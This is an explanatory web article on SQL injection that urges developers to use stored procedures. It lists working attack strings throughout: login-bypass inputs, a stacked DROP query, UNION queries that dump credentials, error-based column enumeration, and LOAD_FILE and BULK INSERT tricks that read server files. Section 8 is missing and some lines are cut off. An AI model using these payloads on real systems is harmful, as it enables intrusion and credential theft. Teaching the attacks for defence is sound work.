Use stored procedures. Don't let people choose the queries that are being run on your database or you might open yourself up to a lot of harm. Any novice database user can turn your simple web app into an unrestricted interface to your database and/or server. Below are some common examples showing how hackers exploit your code to damage your database or access restricted data
1. Commenting out code / Login Bypass
A typical line of code that checks authentication based on a user name and password
SELECT * FROM members WHERE username = '$username' AND password = '$password'
What gets run on your database here if someone enters in their username as " admin'-- " with no password?
SELECT * FROM members WHERE username = 'admin '--' AND password = ''
unless your escaping string termination (single quotes here) the user was just able to bypass authentication as an arbitrary user.
2. Stacked Queries
Depending on the database driver and the database being used, multiple sql queries can be run in the same batch. This allows hackers to stack on arbitrary sql at the end of a normal query
SELECT * FROM products WHERE id = $id
This query might grab the product id out of the query string and then run this query. but if this hacker changes the query string and forces a non integer string such as "10;
SELECT * FROM products WHERE id = 10;
Drop products;
Probably not what you want your view product page to do.
3. UNION Injections: Forcing data out of the database
Imagine a page like this
http://somesite.com/viewproducts?productype=1
which grabs product names from a database which has a certain product type by executing this code and sql
SELECT productname FROM products WHERE type = $productypeid
for each productName in productNameResult
echo productName + "
"
Normally this pseudocode would output all the product names. However if the hacker changes the query string around they can turn your view products page into an easy interface to the data. Imagine the hacker massaged the querystring a tiny bit and changed the producttypeid parameter to be "1 and 1=0 union select username + '-' + password as productname from users_tbl " This would yield the following SQL
SELECT productname FROM products WHERE type = 1 and 1=0 union select username + '-' + password as productname from users_tbl
the end result is a dump of all the username / password on your view products page
username1-password1
username2-password2
username3-password3
4. Avoiding Anti-SQL Injection
You might think that an easy fix to this would be to just check for single quotes and escape them. However there are a bunch of ways to enter strings without quotes. For example in MySQL this will dump out the file C:\boot.ini
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
Hackers will commonly concatonate strings together using database
SELECT CHAR(75)+CHAR(76)+CHAR(77
5. Bypassing Logins and Authentication
Unfortunately most ametuer sites will break or bypass authenticaiton if you try some of these usernames:
admin' -- admin' # admin'/*' or 1=1--' or 1=1#' or 1=1/*') or '1'='1--') or ('1'='1--- Or to logon as a diff user:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
More advanced sites might try MD5 Password hash checks, these can be bypassed as well
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
6. Leveraging Error Messages
In SQL Server a hacker can use the Having clause to figure out what columns are being selected in the query they are trying to hack by entering the following fields in order.
- '
HAVING 1=1 -- ' GROUP BY table.columnfromerror1 HAVING 1=1 -- ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on - If you are not getting any more error then it's done.
If the hacker is trying to do UNION SQL injection knowing the number of columns will help them greatly; they can use the order by clause to do this:
ORDER BY 1-- ORDER BY 2--ORDER BY N-- so on- Keep going until get an error. Error means you found the number of selected columns.
7. Figuring out Column Types
If a hacker is trying to do UNION injection they'll have to know what types each of the columns are. Since datatype errors appear before union target errors, the hacker can easily figure this out by using aggregate or convert functions.
'union select sum(columntofind) from users--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer.
...Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.
A hacker can use SQL injection to create an account to your app
‘; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
9. Figuring out database type
@@version is a hackers friend (at least in MySQL and SQL Server)
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
10. Bulk Inserts to pull data off the server
Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.
- Create table foo( line varchar(8000) )
- bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
- Drop temp table, and repeat for another file.
